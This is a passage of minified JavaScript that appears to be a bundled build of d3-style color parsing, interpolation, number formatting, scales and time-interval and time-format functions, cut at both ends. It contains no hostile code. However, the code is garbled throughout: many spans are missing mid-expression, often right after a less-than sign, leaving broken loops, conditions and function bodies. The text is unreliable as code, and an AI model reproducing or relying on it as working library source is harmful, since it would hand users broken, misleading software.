Xt(t[1]*255/100,t[2]*255/100,t[3]*255/100,1):(t=e7.exec(e))?Zl(t[1],t[2],t[3],t[4]):(t=t7.exec(e))?Zl(t[1]*255/100,t[2]*255/100,t[3]*255/100,t[4]):(t=n7.exec(e))?V1(t[1],t[2]/100,t[3]/100,1):(t=r7.exec(e))?V1(t[1],t[2]/100,t[3]/100,t[4]):R1.hasOwnProperty(e)?F1(R1[e]):e==="transparent"?new Xt(NaN,NaN,NaN,0):null}function F1(e){return new Xt(e>>16&255,e>>8&255,e&255,1)}function Zl(e,t,n,r){return r<=0&&(e=t=n=NaN),new Xt(e,t,n,r)}function s7(e){return e instanceof ml||(e=qo(e)),e?(e=e.rgb(),new Xt(e.r,e.g,e.b,e.opacity)):new Xt}function hh(e,t,n,r){return arguments.length===1?s7(e):new Xt(e,t,n,r??1)}function Xt(e,t,n,r){this.r=+e,this.g=+t,this.b=+n,this.opacity=+r}o0(Xt,hh,e4(ml,{brighter(e){return e=e==null?Su:Math.pow(Su,e),new Xt(this.r*e,this.g*e,this.b*e,this.opacity)},darker(e){return e=e==null?Go:Math.pow(Go,e),new Xt(this.r*e,this.g*e,this.b*e,this.opacity)},rgb(){return this},clamp(){return new Xt(ea(this.r),ea(this.g),ea(this.b),Cu(this.opacity))},displayable(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:W1,formatHex:W1,formatHex8:o7,formatRgb:U1,toString:U1}));function W1(){return`#${qi(this.r)}${qi(this.g)}${qi(this.b)}`}function o7(){return`#${qi(this.r)}${qi(this.g)}${qi(this.b)}${qi((isNaN(this.opacity)?1:this.opacity)*255)}`}function U1(){const e=Cu(this.opacity);return`${e===1?"rgb(":"rgba("}${ea(this.r)}, ${ea(this.g)}, ${ea(this.b)}${e===1?")":`, ${e})`}`}function Cu(e){return isNaN(e)?1:Math.max(0,Math.min(1,e))}function ea(e){return Math.max(0,Math.min(255,Math.round(e)||0))}function qi(e){return e=ea(e),(e<16?"0":"")+e.toString(16)}function V1(e,t,n,r){return r<=0?e=t=n=NaN:n<=0||n>=1?e=t=NaN:t<=0&&(e=NaN),new Hn(e,t,n,r)}function t4(e){if(e instanceof Hn)return new Hn(e.h,e.s,e.l,e.opacity);if(e instanceof ml||(e=qo(e)),!e)return new Hn;if(e instanceof Hn)return e;e=e.rgb();var t=e.r/255,n=e.g/255,r=e.b/255,i=Math.min(t,n,r),s=Math.max(t,n,r),o=NaN,l=s-i,c=(s+i)/2;return l?(t===s?o=(n-r)/l+(n0&&c<1?0:o,new Hn(o,l,c,e.opacity)}function l7(e,t,n,r){return arguments.length===1?t4(e):new Hn(e,t,n,r??1)}function Hn(e,t,n,r){this.h=+e,this.s=+t,this.l=+n,this.opacity=+r}o0(Hn,l7,e4(ml,{brighter(e){return e=e==null?Su:Math.pow(Su,e),new Hn(this.h,this.s,this.l*e,this.opacity)},darker(e){return e=e==null?Go:Math.pow(Go,e),new Hn(this.h,this.s,this.l*e,this.opacity)},rgb(){var e=this.h%360+(this.h<0)*360,t=isNaN(e)||isNaN(this.s)?0:this.s,n=this.l,r=n+(n<.5?n:1-n)*t,i=2*n-r;return new Xt(hm(e>=240?e-240:e+120,i,r),hm(e,i,r),hm(e<120?e+240:e-120,i,r),this.opacity)},clamp(){return new Hn(H1(this.h),Ql(this.s),Ql(this.l),Cu(this.opacity))},displayable(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl(){const e=Cu(this.opacity);return`${e===1?"hsl(":"hsla("}${H1(this.h)}, ${Ql(this.s)*100}%, ${Ql(this.l)*100}%${e===1?")":`, ${e})`}`}}));function H1(e){return e=(e||0)%360,e<0?e+360:e}function Ql(e){return Math.max(0,Math.min(1,e||0))}function hm(e,t,n){return(e<60?t+(n-t)*e/60:e<180?n:e<240?t+(n-t)*(240-e)/60:t)*255}const l0=e=>()=>e;function c7(e,t){return function(n){return e+n*t}}function u7(e,t,n){return e=Math.pow(e,n),t=Math.pow(t,n)-e,n=1/n,function(r){return Math.pow(e+r*t,n)}}function d7(e){return(e=+e)==1?n4:function(t,n){return n-t?u7(t,n,e):l0(isNaN(t)?n:t)}}function n4(e,t){var n=t-e;return n?c7(e,n):l0(isNaN(e)?t:e)}const K1=function e(t){var n=d7(t);function r(i,s){var o=n((i=hh(i)).r,(s=hh(s)).r),l=n(i.g,s.g),c=n(i.b,s.b),u=n4(i.opacity,s.opacity);return function(d){return i.r=o(d),i.g=l(d),i.b=c(d),i.opacity=u(d),i+""}}return r.gamma=e,r}(1);function f7(e,t){t||(t=[]);var n=e?Math.min(t.length,e.length):0,r=t.slice(),i;return function(s){for(i=0;in&&(s=t.slice(n,s),l[o]?l[o]+=s:l[++o]=s),(r=r[0])===(i=i[0])?l[o]?l[o]+=i:l[++o]=i:(l[++o]=null,c.push({i:o,x:Pu(r,i)})),n=xm.lastIndex;return nt&&(n=e,e=t,t=n),function(r){return Math.max(e,Math.min(t,r))}}function N7(e,t,n){var r=e[0],i=e[1],s=t[0],o=t[1];return i2?k7:N7,c=u=null,f}function f(p){return p==null||isNaN(p=+p)?s:(c||(c=l(e.map(r),t,n)))(r(o(p)))}return f.invert=function(p){return o(i((u||(u=l(t,e.map(r),Pu)))(p)))},f.domain=function(p){return arguments.length?(e=Array.from(p,Eu),d()):e.slice()},f.range=function(p){return arguments.length?(t=Array.from(p),d()):t.slice()},f.rangeRound=function(p){return t=Array.from(p),n=c0,d()},f.clamp=function(p){return arguments.length?(o=p?!0:Ft,d()):o!==Ft},f.interpolate=function(p){return arguments.length?(n=p,d()):n},f.unknown=function(p){return arguments.length?(s=p,f):s},function(p,h){return r=p,i=h,d()}}function u0(){return Xd()(Ft,Ft)}function z7(e){return Math.abs(e=Math.round(e))>=1e21?e.toLocaleString("en").replace(/,/g,""):e.toString(10)}function _u(e,t){if(!isFinite(e)||e===0)return null;var n=(e=t?e.toExponential(t-1):e.toExponential()).indexOf("e"),r=e.slice(0,n);return[r.length>1?r[0]+r.slice(2):r,+e.slice(n+1)]}function ds(e){return e=_u(Math.abs(e)),e?e[1]:NaN}function S7(e,t){return function(n,r){for(var i=n.length,s=[],o=0,l=e[0],c=0;i>0&&l>0&&(c+l+1>r&&(l=Math.max(1,r-c)),s.push(n.substring(i-=l,i+l)),!((c+=l+1)>r));)l=e[o=(o+1)%e.length];return s.reverse().join(t)}}function C7(e){return function(t){return t.replace(/[0-9]/g,function(n){return e[+n]})}}var P7=/^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i;function Xo(e){if(!(t=P7.exec(e)))throw new Error("invalid format: "+e);var t;return new d0({fill:t[1],align:t[2],sign:t[3],symbol:t[4],zero:t[5],width:t[6],comma:t[7],precision:t[8]&&t[8].slice(1),trim:t[9],type:t[10]})}Xo.prototype=d0.prototype;function d0(e){this.fill=e.fill===void 0?" ":e.fill+"",this.align=e.align===void 0?">":e.align+"",this.sign=e.sign===void 0?"-":e.sign+"",this.symbol=e.symbol===void 0?"":e.symbol+"",this.zero=!!e.zero,this.width=e.width===void 0?void 0:+e.width,this.comma=!!e.comma,this.precision=e.precision===void 0?void 0:+e.precision,this.trim=!!e.trim,this.type=e.type===void 0?"":e.type+""}d0.prototype.toString=function(){return this.fill+this.align+this.sign+this.symbol+(this.zero?"0":"")+(this.width===void 0?"":Math.max(1,this.width|0))+(this.comma?",":"")+(this.precision===void 0?"":"."+Math.max(0,this.precision|0))+(this.trim?"~":"")+this.type};function E7(e){e:for(var t=e.length,n=1,r=-1,i;n0&&(r=0);break}return r>0?e.slice(0,r)+e.slice(i+1):e}var Au;function _7(e,t){var n=_u(e,t);if(!n)return Au=void 0,e.toPrecision(t);var r=n[0],i=n[1],s=i-(Au=Math.max(-8,Math.min(8,Math.floor(i/3)))*3)+1,o=r.length;return s===o?r:s>o?r+new Array(s-o+1).join("0"):s>0?r.slice(0,s)+"."+r.slice(s):"0."+new Array(1-s).join("0")+_u(e,Math.max(0,t+s-1))[0]}function Y1(e,t){var n=_u(e,t);if(!n)return e+"";var r=n[0],i=n[1];return i<0?"0."+new Array(-i).join("0")+r:r.length>i+1?r.slice(0,i+1)+"."+r.slice(i+1):r+new Array(i-r.length+2).join("0")}const q1={"%":(e,t)=>(e*100).toFixed(t),b:e=>Math.round(e).toString(2),c:e=>e+"",d:z7,e:(e,t)=>e.toExponential(t),f:(e,t)=>e.toFixed(t),g:(e,t)=>e.toPrecision(t),o:e=>Math.round(e).toString(8),p:(e,t)=>Y1(e*100,t),r:Y1,s:_7,X:e=>Math.round(e).toString(16).toUpperCase(),x:e=>Math.round(e).toString(16)};function X1(e){return e}var Z1=Array.prototype.map,Q1=["y","z","a","f","p","n","µ","m","","k","M","G","T","P","E","Z","Y"];function A7(e){var t=e.grouping===void 0||e.thousands===void 0?X1:S7(Z1.call(e.grouping,Number),e.thousands+""),n=e.currency===void 0?"":e.currency[0]+"",r=e.currency===void 0?"":e.currency[1]+"",i=e.decimal===void 0?".":e.decimal+"",s=e.numerals===void 0?X1:C7(Z1.call(e.numerals,String)),o=e.percent===void 0?"%":e.percent+"",l=e.minus===void 0?"−":e.minus+"",c=e.nan===void 0?"NaN":e.nan+"";function u(f,p){f=Xo(f);var h=f.fill,x=f.align,g=f.sign,y=f.symbol,v=f.zero,b=f.width,w=f.comma,j=f.precision,N=f.trim,k=f.type;k==="n"?(w=!0,k="g"):q1[k]||(j===void 0&&(j=12),N=!0,k="g"),(v||h==="0"&&x==="=")&&(v=!0,h="0",x="=");var z=(p&&p.prefix!==void 0?p.prefix:"")+(y==="$"?n:y==="#"&&/[boxX]/.test(k)?"0"+k.toLowerCase():""),S=(y==="$"?r:/[%p]/.test(k)?o:"")+(p&&p.suffix!==void 0?p.suffix:""),O=q1[k],A=/[defgprs%]/.test(k);j=j===void 0?6:/[gprs]/.test(k)?Math.max(1,Math.min(21,j)):Math.max(0,Math.min(20,j));function T(P){var D=z,G=S,R,K,_;if(k==="c")G=O(P)+G,P="";else{P=+P;var M=P<0||1/P<0;if(P=isNaN(P)?c:O(Math.abs(P),j),N&&(P=E7(P)),M&&+P==0&&g!=="+"&&(M=!1),D=(M?g==="("?g:l:g==="-"||g==="("?"":g)+D,G=(k==="s"&&!isNaN(P)&&Au!==void 0?Q1[8+Au/3]:"")+G+(M&&g==="("?")":""),A){for(R=-1,K=P.length;++R_||_>57){G=(_===46?i+P.slice(R+1):P.slice(R))+G,P=P.slice(0,R);break}}}w&&!v&&(P=t(P,1/0));var F=D.length+P.length+G.length,U=F>1)+D+P+G+U.slice(F);break;default:P=U+D+P+G;break}return s(P)}return T.toString=function(){return f+""},T}function d(f,p){var h=Math.max(-8,Math.min(8,Math.floor(ds(p)/3)))*3,x=Math.pow(10,-h),g=u((f=Xo(f),f.type="f",f),{suffix:Q1[8+h/3]});return function(y){return g(x*y)}}return{format:u,formatPrefix:d}}var Jl,f0,r4;O7({thousands:",",grouping:[3],currency:["$",""]});function O7(e){return Jl=A7(e),f0=Jl.format,r4=Jl.formatPrefix,Jl}function T7(e){return Math.max(0,-ds(Math.abs(e)))}function M7(e,t){return Math.max(0,Math.max(-8,Math.min(8,Math.floor(ds(t)/3)))*3-ds(Math.abs(e)))}function L7(e,t){return e=Math.abs(e),t=Math.abs(t)-e,Math.max(0,ds(t)-ds(e))+1}function i4(e,t,n,r){var i=mh(e,t,n),s;switch(r=Xo(r??",f"),r.type){case"s":{var o=Math.max(Math.abs(e),Math.abs(t));return r.precision==null&&!isNaN(s=M7(i,o))&&(r.precision=s),r4(r,o)}case"":case"e":case"g":case"p":case"r":{r.precision==null&&!isNaN(s=L7(i,Math.max(Math.abs(e),Math.abs(t))))&&(r.precision=s-(r.type==="e"));break}case"f":case"%":{r.precision==null&&!isNaN(s=T7(i))&&(r.precision=s-(r.type==="%")*2);break}}return f0(r)}function Ai(e){var t=e.domain;return e.ticks=function(n){var r=t();return dh(r[0],r[r.length-1],n??10)},e.tickFormat=function(n,r){var i=t();return i4(i[0],i[i.length-1],n??10,r)},e.nice=function(n){n==null&&(n=10);var r=t(),i=0,s=r.length-1,o=r[i],l=r[s],c,u,d=10;for(l0;){if(u=fh(o,l,n),u===c)return r[i]=o,r[s]=l,t(r);if(u>0)o=Math.floor(o/u)*u,l=Math.ceil(l/u)*u;else if(u<0)o=Math.ceil(o*u)/u,l=Math.floor(l*u)/u;else break;c=u}return e},e}function a4(){var e=u0();return e.copy=function(){return pl(e,a4())},Mn.apply(e,arguments),Ai(e)}function s4(e){var t;function n(r){return r==null||isNaN(r=+r)?t:r}return n.invert=n,n.domain=n.range=function(r){return arguments.length?(e=Array.from(r,Eu),n):e.slice()},n.unknown=function(r){return arguments.length?(t=r,n):t},n.copy=function(){return s4(e).unknown(t)},e=arguments.length?Array.from(e,Eu):[0,1],Ai(n)}function o4(e,t){e=e.slice();var n=0,r=e.length-1,i=e[n],s=e[r],o;return sMath.pow(e,t)}function B7(e){return e===Math.E?Math.log:e===10&&Math.log10||e===2&&Math.log2||(e=Math.log(e),t=>Math.log(t)/e)}function t2(e){return(t,n)=>-e(-t,n)}function m0(e){const t=e(J1,e2),n=t.domain;let r=10,i,s;function o(){return i=B7(r),s=$7(r),n()[0]<0?(i=t2(i),s=t2(s),e(I7,D7)):e(J1,e2),t}return t.base=function(l){return arguments.length?(r=+l,o()):r},t.domain=function(l){return arguments.length?(n(l),o()):n()},t.ticks=l=>{const c=n();let u=c[0],d=c[c.length-1];const f=d0){for(;p<=h;++p)for(x=1;xd)break;v.push(g)}}else for(;p<=h;++p)for(x=r-1;x>=1;--x)if(g=p>0?x/s(-p):x*s(p),!(gd)break;v.push(g)}v.length*2{if(l==null&&(l=10),c==null&&(c=r===10?"s":","),typeof c!="function"&&(!(r%1)&&(c=Xo(c)).precision==null&&(c.trim=!0),c=f0(c)),l===1/0)return c;const u=Math.max(1,r*l/t.ticks().length);return d=>{let f=d/s(Math.round(i(d)));return f*rn(o4(n(),{floor:l=>s(Math.floor(i(l))),ceil:l=>s(Math.ceil(i(l)))})),t}function l4(){const e=m0(Xd()).domain([1,10]);return e.copy=()=>pl(e,l4()).base(e.base()),Mn.apply(e,arguments),e}function n2(e){return function(t){return Math.sign(t)*Math.log1p(Math.abs(t/e))}}function r2(e){return function(t){return Math.sign(t)*Math.expm1(Math.abs(t))*e}}function p0(e){var t=1,n=e(n2(t),r2(t));return n.constant=function(r){return arguments.length?e(n2(t=+r),r2(t)):t},Ai(n)}function c4(){var e=p0(Xd());return e.copy=function(){return pl(e,c4()).constant(e.constant())},Mn.apply(e,arguments)}function i2(e){return function(t){return t<0?-Math.pow(-t,e):Math.pow(t,e)}}function F7(e){return e<0?-Math.sqrt(-e):Math.sqrt(e)}function W7(e){return e<0?-e*e:e*e}function h0(e){var t=e(Ft,Ft),n=1;function r(){return n===1?e(Ft,Ft):n===.5?e(F7,W7):e(i2(n),i2(1/n))}return t.exponent=function(i){return arguments.length?(n=+i,r()):n},Ai(t)}function x0(){var e=h0(Xd());return e.copy=function(){return pl(e,x0()).exponent(e.exponent())},Mn.apply(e,arguments),e}function U7(){return x0.apply(null,arguments).exponent(.5)}function a2(e){return Math.sign(e)*e*e}function V7(e){return Math.sign(e)*Math.sqrt(Math.abs(e))}function u4(){var e=u0(),t=[0,1],n=!1,r;function i(s){var o=V7(e(s));return isNaN(o)?r:n?Math.round(o):o}return i.invert=function(s){return e.invert(a2(s))},i.domain=function(s){return arguments.length?(e.domain(s),i):e.domain()},i.range=function(s){return arguments.length?(e.range((t=Array.from(s,Eu)).map(a2)),i):t.slice()},i.rangeRound=function(s){return i.range(s).round(!0)},i.round=function(s){return arguments.length?(n=!!s,i):n},i.clamp=function(s){return arguments.length?(e.clamp(s),i):e.clamp()},i.unknown=function(s){return arguments.length?(r=s,i):r},i.copy=function(){return u4(e.domain(),t).round(n).clamp(e.clamp()).unknown(r)},Mn.apply(i,arguments),Ai(i)}function d4(){var e=[],t=[],n=[],r;function i(){var o=0,l=Math.max(1,t.length);for(n=new Array(l-1);++o0?n[l-1]:e[0],l=n?[r[n-1],t]:[r[u-1],r[u]]},o.unknown=function(c){return arguments.length&&(s=c),o},o.thresholds=function(){return r.slice()},o.copy=function(){return f4().domain([e,t]).range(i).unknown(s)},Mn.apply(Ai(o),arguments)}function m4(){var e=[.5],t=[0,1],n,r=1;function i(s){return s!=null&&s<=s?t[fl(e,s,0,r)]:n}return i.domain=function(s){return arguments.length?(e=Array.from(s),r=Math.min(e.length,t.length-1),i):e.slice()},i.range=function(s){return arguments.length?(t=Array.from(s),r=Math.min(e.length,t.length-1),i):t.slice()},i.invertExtent=function(s){var o=t.indexOf(s);return[e[o-1],e[o]]},i.unknown=function(s){return arguments.length?(n=s,i):n},i.copy=function(){return m4().domain(e).range(t).unknown(n)},Mn.apply(i,arguments)}const vm=new Date,gm=new Date;function gt(e,t,n,r){function i(s){return e(s=arguments.length===0?new Date:new Date(+s)),s}return i.floor=s=>(e(s=new Date(+s)),s),i.ceil=s=>(e(s=new Date(s-1)),t(s,1),e(s),s),i.round=s=>{const o=i(s),l=i.ceil(s);return s-o(t(s=new Date(+s),o==null?1:Math.floor(o)),s),i.range=(s,o,l)=>{const c=[];if(s=i.ceil(s),l=l==null?1:Math.floor(l),!(s0))return c;let u;do c.push(u=new Date(+s)),t(s,l),e(s);while(ugt(o=>{if(o>=o)for(;e(o),!s(o);)o.setTime(o-1)},(o,l)=>{if(o>=o)if(l<0)for(;++l<=0;)for(;t(o,-1),!s(o););else for(;--l>=0;)for(;t(o,1),!s(o););}),n&&(i.count=(s,o)=>(vm.setTime(+s),gm.setTime(+o),e(vm),e(gm),Math.floor(n(vm,gm))),i.every=s=>(s=Math.floor(s),!isFinite(s)||!(s>0)?null:s>1?i.filter(r?o=>r(o)%s===0:o=>i.count(0,o)%s===0):i)),i}const Ou=gt(()=>{},(e,t)=>{e.setTime(+e+t)},(e,t)=>t-e);Ou.every=e=>(e=Math.floor(e),!isFinite(e)||!(e>0)?null:e>1?gt(t=>{t.setTime(Math.floor(t/e)*e)},(t,n)=>{t.setTime(+t+n*e)},(t,n)=>(n-t)/e):Ou);Ou.range;const Sr=1e3,Pn=Sr*60,Cr=Pn*60,Dr=Cr*24,v0=Dr*7,s2=Dr*30,ym=Dr*365,Xi=gt(e=>{e.setTime(e-e.getMilliseconds())},(e,t)=>{e.setTime(+e+t*Sr)},(e,t)=>(t-e)/Sr,e=>e.getUTCSeconds());Xi.range;const g0=gt(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*Sr)},(e,t)=>{e.setTime(+e+t*Pn)},(e,t)=>(t-e)/Pn,e=>e.getMinutes());g0.range;const y0=gt(e=>{e.setUTCSeconds(0,0)},(e,t)=>{e.setTime(+e+t*Pn)},(e,t)=>(t-e)/Pn,e=>e.getUTCMinutes());y0.range;const b0=gt(e=>{e.setTime(e-e.getMilliseconds()-e.getSeconds()*Sr-e.getMinutes()*Pn)},(e,t)=>{e.setTime(+e+t*Cr)},(e,t)=>(t-e)/Cr,e=>e.getHours());b0.range;const w0=gt(e=>{e.setUTCMinutes(0,0,0)},(e,t)=>{e.setTime(+e+t*Cr)},(e,t)=>(t-e)/Cr,e=>e.getUTCHours());w0.range;const hl=gt(e=>e.setHours(0,0,0,0),(e,t)=>e.setDate(e.getDate()+t),(e,t)=>(t-e-(t.getTimezoneOffset()-e.getTimezoneOffset())*Pn)/Dr,e=>e.getDate()-1);hl.range;const Zd=gt(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Dr,e=>e.getUTCDate()-1);Zd.range;const p4=gt(e=>{e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCDate(e.getUTCDate()+t)},(e,t)=>(t-e)/Dr,e=>Math.floor(e/Dr));p4.range;function ba(e){return gt(t=>{t.setDate(t.getDate()-(t.getDay()+7-e)%7),t.setHours(0,0,0,0)},(t,n)=>{t.setDate(t.getDate()+n*7)},(t,n)=>(n-t-(n.getTimezoneOffset()-t.getTimezoneOffset())*Pn)/v0)}const Qd=ba(0),Tu=ba(1),H7=ba(2),K7=ba(3),fs=ba(4),G7=ba(5),Y7=ba(6);Qd.range;Tu.range;H7.range;K7.range;fs.range;G7.range;Y7.range;function wa(e){return gt(t=>{t.setUTCDate(t.getUTCDate()-(t.getUTCDay()+7-e)%7),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCDate(t.getUTCDate()+n*7)},(t,n)=>(n-t)/v0)}const Jd=wa(0),Mu=wa(1),q7=wa(2),X7=wa(3),ms=wa(4),Z7=wa(5),Q7=wa(6);Jd.range;Mu.range;q7.range;X7.range;ms.range;Z7.range;Q7.range;const j0=gt(e=>{e.setDate(1),e.setHours(0,0,0,0)},(e,t)=>{e.setMonth(e.getMonth()+t)},(e,t)=>t.getMonth()-e.getMonth()+(t.getFullYear()-e.getFullYear())*12,e=>e.getMonth());j0.range;const N0=gt(e=>{e.setUTCDate(1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCMonth(e.getUTCMonth()+t)},(e,t)=>t.getUTCMonth()-e.getUTCMonth()+(t.getUTCFullYear()-e.getUTCFullYear())*12,e=>e.getUTCMonth());N0.range;const Rr=gt(e=>{e.setMonth(0,1),e.setHours(0,0,0,0)},(e,t)=>{e.setFullYear(e.getFullYear()+t)},(e,t)=>t.getFullYear()-e.getFullYear(),e=>e.getFullYear());Rr.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:gt(t=>{t.setFullYear(Math.floor(t.getFullYear()/e)*e),t.setMonth(0,1),t.setHours(0,0,0,0)},(t,n)=>{t.setFullYear(t.getFullYear()+n*e)});Rr.range;const $r=gt(e=>{e.setUTCMonth(0,1),e.setUTCHours(0,0,0,0)},(e,t)=>{e.setUTCFullYear(e.getUTCFullYear()+t)},(e,t)=>t.getUTCFullYear()-e.getUTCFullYear(),e=>e.getUTCFullYear());$r.every=e=>!isFinite(e=Math.floor(e))||!(e>0)?null:gt(t=>{t.setUTCFullYear(Math.floor(t.getUTCFullYear()/e)*e),t.setUTCMonth(0,1),t.setUTCHours(0,0,0,0)},(t,n)=>{t.setUTCFullYear(t.getUTCFullYear()+n*e)});$r.range;function h4(e,t,n,r,i,s){const o=[[Xi,1,Sr],[Xi,5,5*Sr],[Xi,15,15*Sr],[Xi,30,30*Sr],[s,1,Pn],[s,5,5*Pn],[s,15,15*Pn],[s,30,30*Pn],[i,1,Cr],[i,3,3*Cr],[i,6,6*Cr],[i,12,12*Cr],[r,1,Dr],[r,2,2*Dr],[n,1,v0],[t,1,s2],[t,3,3*s2],[e,1,ym]];function l(u,d,f){const p=dy).right(o,p);if(h===o.length)return e.every(mh(u/ym,d/ym,f));if(h===0)return Ou.every(Math.max(mh(u,d,f),1));const[x,g]=o[p/o[h-1][2]53)return null;"w"in B||(B.w=1),"Z"in B?(we=wm(Ks(B.y,0,1)),Ne=we.getUTCDay(),we=Ne>4||Ne===0?Mu.ceil(we):Mu(we),we=Zd.offset(we,(B.V-1)*7),B.y=we.getUTCFullYear(),B.m=we.getUTCMonth(),B.d=we.getUTCDate()+(B.w+6)%7):(we=bm(Ks(B.y,0,1)),Ne=we.getDay(),we=Ne>4||Ne===0?Tu.ceil(we):Tu(we),we=hl.offset(we,(B.V-1)*7),B.y=we.getFullYear(),B.m=we.getMonth(),B.d=we.getDate()+(B.w+6)%7)}else("W"in B||"U"in B)&&("w"in B||(B.w="u"in B?B.u%7:"W"in B?1:0),Ne="Z"in B?wm(Ks(B.y,0,1)).getUTCDay():bm(Ks(B.y,0,1)).getDay(),B.m=0,B.d="W"in B?(B.w+6)%7+B.W*7-(Ne+5)%7:B.w+B.U*7-(Ne+6)%7);return"Z"in B?(B.H+=B.Z/100|0,B.M+=B.Z%100,wm(B)):bm(B)}}function S(C,Y,ne,B){for(var le=0,we=Y.length,Ne=ne.length,Ae,$;le=Ne)return-1;if(Ae=Y.charCodeAt(le++),Ae===37){if(Ae=Y.charAt(le++),$=N[Ae in o2?Y.charAt(le++):Ae],!$||(B=$(C,ne,B))<0)return-1}else if(Ae!=ne.charCodeAt(B++))return-1}return B}function O(C,Y,ne){var B=u.exec(Y.slice(ne));return B?(C.p=d.get(B[0].toLowerCase()),ne+B[0].length):-1}function A(C,Y,ne){var B=h.exec(Y.slice(ne));return B?(C.w=x.get(B[0].toLowerCase()),ne+B[0].length):-1}function T(C,Y,ne){var B=f.exec(Y.slice(ne));return B?(C.w=p.get(B[0].toLowerCase()),ne+B[0].length):-1}function P(C,Y,ne){var B=v.exec(Y.slice(ne));return B?(C.m=b.get(B[0].toLowerCase()),ne+B[0].length):-1}function D(C,Y,ne){var B=g.exec(Y.slice(ne));return B?(C.m=y.get(B[0].toLowerCase()),ne+B[0].length):-1}function G(C,Y,ne){return S(C,t,Y,ne)}function R(C,Y,ne){return S(C,n,Y,ne)}function K(C,Y,ne){return S(C,r,Y,ne)}function _(C){return o[C.getDay()]}function M(C){return s[C.getDay()]}function F(C){return c[C.getMonth()]}function U(C){return l[C.getMonth()]}function V(C){return i[+(C.getHours()>=12)]}function Z(C){return 1+~~(C.getMonth()/3)}function ae(C){return o[C.getUTCDay()]}function ue(C){return s[C.getUTCDay()]}function be(C){return c[C.getUTCMonth()]}function ye(C){return l[C.getUTCMonth()]}function q(C){return i[+(C.getUTCHours()>=12)]}function te(C){return 1+~~(C.getUTCMonth()/3)}return{format:function(C){var Y=k(C+="",w);return Y.toString=function(){return C},Y},parse:function(C){var Y=z(C+="",!1);return Y.toString=function(){return C},Y},utcFormat:function(C){var Y=k(C+="",j);return Y.toString=function(){return C},Y},utcParse:function(C){var Y=z(C+="",!0);return Y.toString=function(){return C},Y}}}var o2={"-":"",_:" ",0:"0"},zt=/^\s*\d+/,iL=/^%/,aL=/[\\^$*+?|[\]().{}]/g;function _e(e,t,n){var r=e<0?"-":"",i=(r?-e:e)+"",s=i.length;return r+(s[t.toLowerCase(),n]))}function oL(e,t,n){var r=zt.exec(t.slice(n,n+1));return r?(e.w=+r[0],n+r[0].length):-1}function lL(e,t,n){var r=zt.exec(t.slice(n,n+1));return r?(e.u=+r[0],n+r[0].length):-1}function cL(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.U=+r[0],n+r[0].length):-1}function uL(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.V=+r[0],n+r[0].length):-1}function dL(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.W=+r[0],n+r[0].length):-1}function l2(e,t,n){var r=zt.exec(t.slice(n,n+4));return r?(e.y=+r[0],n+r[0].length):-1}function c2(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.y=+r[0]+(+r[0]>68?1900:2e3),n+r[0].length):-1}function fL(e,t,n){var r=/^(Z)|([+-]\d\d)(?::?(\d\d))?/.exec(t.slice(n,n+6));return r?(e.Z=r[1]?0:-(r[2]+(r[3]||"00")),n+r[0].length):-1}function mL(e,t,n){var r=zt.exec(t.slice(n,n+1));return r?(e.q=r[0]*3-3,n+r[0].length):-1}function pL(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.m=r[0]-1,n+r[0].length):-1}function u2(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.d=+r[0],n+r[0].length):-1}function hL(e,t,n){var r=zt.exec(t.slice(n,n+3));return r?(e.m=0,e.d=+r[0],n+r[0].length):-1}function d2(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.H=+r[0],n+r[0].length):-1}function xL(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.M=+r[0],n+r[0].length):-1}function vL(e,t,n){var r=zt.exec(t.slice(n,n+2));return r?(e.S=+r[0],n+r[0].length):-1}function gL(e,t,n){var r=zt.exec(t.slice(n,n+3));return r?(e.L=+r[0],n+r[0].length):-1}function yL(e,t,n){var r=zt.exec(t.slice(n,n+6));return r?(e.L=Math.floor(r[0]/1e3),n+r[0].length):-1}function bL(e,t,n){var r=iL.exec(t.slice(n,n+1));return r?n+r[0].length:-1}function wL(e,t,n){var r=zt.exec(t.slice(n));return r?(e.Q=+r[0],n+r[0].length):-1}function jL(e,t,n){var r=zt.exec(t.slice(n));return r?(e.s=+r[0],n+r[0].length):-1}function f2(e,t){return _e(e.getDate(),t,2)}function NL(e,t){return _e(e.getHours(),t,2)}function kL(e,t){return _e(e.getHours()%12||12,t,2)}function zL(e,t){return _e(1+hl.count(Rr(e),e),t,3)}function x4(e,t){return _e(e.getMilliseconds(),t,3)}function SL(e,t){return x4(e,t)+"000"}function CL(e,t){return _e(e.getMonth()+1,t,2)}function PL(e,t){return _e(e.getMinutes(),t,2)}function EL(e,t){return _e(e.getSeconds(),t,2)}function _L(e){var t=e.getDay();return t===0?7:t}function AL(e,t){return _e(Qd.count(Rr(e)-1,e),t,2)}function v4(e){var t=e.getDay();return t>=4||t===0?fs(e):fs.ceil(e)}function OL(e,t){return e=v4(e),_e(fs.count(Rr(e),e)+(Rr(e).getDay()===4),t,2)}function TL(e){return e.getDay()}function ML(e,t){return _e(Tu.count(Rr(e)-1,e),t,2)}function LL(e,t){return _e(e.getFullYear()%100,t,2)}function IL(e,t){return e=v4(e),_e(e.getFullYear()%100,t,2)}function DL(e,t){return _e(e.getFullYear()%1e4,t,4)}function RL(e,t){var n=e.getDay();return e=n>=4||n===0?fs(e):fs.ceil(e),_e(e.getFullYear()%1e4,t,4)}function $L(e){var 